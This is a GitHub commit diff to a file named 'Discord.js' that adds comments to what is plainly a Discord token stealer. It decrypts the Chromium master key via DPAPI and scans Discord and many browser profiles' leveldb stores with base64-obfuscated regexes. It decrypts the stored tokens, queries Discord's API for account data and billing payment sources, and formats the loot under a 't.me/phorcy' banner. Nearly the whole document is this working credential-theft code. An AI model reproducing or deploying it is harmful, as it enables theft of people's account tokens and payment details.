Update Discord.js

This commit is contained in:
Synthetic
2023-11-15 19:17:55 -05:00
committed by GitHub
parent a6c426cf74
commit 3c8ea45a36

View File

@@ -6,7 +6,7 @@ const dpapi = require("win-dpapi");
const crypto = require("crypto"); const crypto = require("crypto");
const axios = require("axios"); const axios = require("axios");
class D { class D { // discord class
constructor(u, d, i, n, b, bill, e, ph, t, av, bio) { constructor(u, d, i, n, b, bill, e, ph, t, av, bio) {
this.u = u; this.u = u;
this.tag = `${u}#${d}`; this.tag = `${u}#${d}`;
@@ -21,7 +21,7 @@ class D {
this.av = `https://cdn.discordapp.com/avatars/${i}/${av}.png`; this.av = `https://cdn.discordapp.com/avatars/${i}/${av}.png`;
} }
static async gP(t) { static async gP(t) { // get payment function
try { try {
const r = await axios.get(`https://canary.discord.com/api/v9/users/@me/billing/payment-sources`, { const r = await axios.get(`https://canary.discord.com/api/v9/users/@me/billing/payment-sources`, {
headers: { "Authorization": t } headers: { "Authorization": t }
@@ -39,7 +39,7 @@ class D {
} }
} }
static async gA(tokens) { static async gA(tokens) { // get accounts
const a = []; const a = [];
for (const t of tokens) { for (const t of tokens) {
@@ -65,11 +65,11 @@ class D {
return a; return a;
} }
static hN(j) { static hN(j) { // has nitro func
return j["premium_type"] !== undefined && j["premium_type"] !== null ? "True" : "False"; return j["premium_type"] !== undefined && j["premium_type"] !== null ? "True" : "False";
} }
static gBI(j) { static gBI(j) { // get badges
const bL = [ const bL = [
{ name: "N/A", flag: 0 }, { name: "N/A", flag: 0 },
{ name: "Staff", flag: 1 }, { name: "Staff", flag: 1 },
@@ -92,14 +92,14 @@ class D {
} }
} }
function gMK(bP) { function gMK(bP) { // get masterkey
const mKP = `${bP}\\Local State`; const mKP = `${bP}\\Local State`;
const eK = Buffer.from(JSON.parse(fs.readFileSync(mKP, "utf-8")).os_crypt.encrypted_key, "base64").slice(5); const eK = Buffer.from(JSON.parse(fs.readFileSync(mKP, "utf-8")).os_crypt.encrypted_key, "base64").slice(5);
const dK = dpapi.unprotectData(Buffer.from(eK, "utf-8"), null, 'CurrentUser'); const dK = dpapi.unprotectData(Buffer.from(eK, "utf-8"), null, 'CurrentUser');
return dK; return dK;
} }
function gET(bP) { function gET(bP) { // get encrypted token
const lP = `${bP}\\Local Storage\\leveldb\\`; const lP = `${bP}\\Local Storage\\leveldb\\`;
if (!fs.existsSync(lP)) { if (!fs.existsSync(lP)) {
@@ -121,7 +121,7 @@ function gET(bP) {
return uET; return uET;
} }
function dUT(eT, mK) { function dUT(eT, mK) { // decrypt tokens
const dT = eT.map(eT => { const dT = eT.map(eT => {
try { try {
const tD = Buffer.from(eT.split('dQw4w9WgXcQ:')[1], "base64"); const tD = Buffer.from(eT.split('dQw4w9WgXcQ:')[1], "base64");
@@ -140,12 +140,12 @@ function dUT(eT, mK) {
return dT.filter(t => t !== null); return dT.filter(t => t !== null);
} }
function dUP(bP, p) { function dUP(bP, p) { // decrypt users
const pP = `${bP}\\${p}`; const pP = `${bP}\\${p}`;
return fs.existsSync(pP) ? fs.readdirSync(pP).map(p => ({ p: `${pP}\\${p}` })) : []; return fs.existsSync(pP) ? fs.readdirSync(pP).map(p => ({ p: `${pP}\\${p}` })) : [];
} }
async function fD() { async function fD() { // get da data
const aP = process.env.APPDATA; const aP = process.env.APPDATA;
const lP = process.env.LOCALAPPDATA; const lP = process.env.LOCALAPPDATA;
const dP = [`${aP}\\discord`, `${aP}\\discordcanary`, `${aP}\\discordptb`]; const dP = [`${aP}\\discord`, `${aP}\\discordcanary`, `${aP}\\discordptb`];
@@ -159,7 +159,7 @@ async function fD() {
} }
} }
const bP = [ const bP = [ // browser paths
`${aP}\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\`, `${aP}\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\`,
`${aP}\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\`, `${aP}\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\`,
`${lP}\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\`, `${lP}\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\`,
@@ -180,17 +180,17 @@ async function fD() {
`${lP}\\Vivaldi\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`, `${lP}\\Vivaldi\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`,
]; ];
const bPr = bP const bPr = bP // browser profiles
.flatMap(b => dUP(b, b.split("\\")[6]) .flatMap(b => dUP(b, b.split("\\")[6])
.map(p => p.p)); .map(p => p.p));
const cR = [ const cR = [ // regex
new RegExp(Buffer.from("W1x3LV17MjR9XC5bXHctXXs2fVwuW1x3LV17Mjd9", 'base64').toString(), 'gm'), new RegExp(Buffer.from("W1x3LV17MjR9XC5bXHctXXs2fVwuW1x3LV17Mjd9", 'base64').toString(), 'gm'),
new RegExp(Buffer.from("bWZhXC5bXHctXXs4NH0=", 'base64').toString(), 'gm'), new RegExp(Buffer.from("bWZhXC5bXHctXXs4NH0=", 'base64').toString(), 'gm'),
new RegExp(Buffer.from("W1x3LV17MjR9XC5bXHctXXs2fVwuW1x3LV17MjUsMTEwfQ==", 'base64').toString(), 'gm') new RegExp(Buffer.from("W1x3LV17MjR9XC5bXHctXXs2fVwuW1x3LV17MjUsMTEwfQ==", 'base64').toString(), 'gm')
]; ];
const tFP = bPr const tFP = bPr // token profile browser profile
.filter(p => fs.existsSync(p)) .filter(p => fs.existsSync(p))
.flatMap(p => fs.readdirSync(p) .flatMap(p => fs.readdirSync(p)
.filter(file => file.endsWith(".log") || file.endsWith(".ldb")) .filter(file => file.endsWith(".log") || file.endsWith(".ldb"))
@@ -205,7 +205,7 @@ async function fD() {
return await D.gA(t); return await D.gA(t);
} }
function stxt(a) { function stxt(a) { // save to txt
const fD = a.map(a => { const fD = a.map(a => {
return ` Discord DATA ~ t.me/phorcy return ` Discord DATA ~ t.me/phorcy
====================================================== ======================================================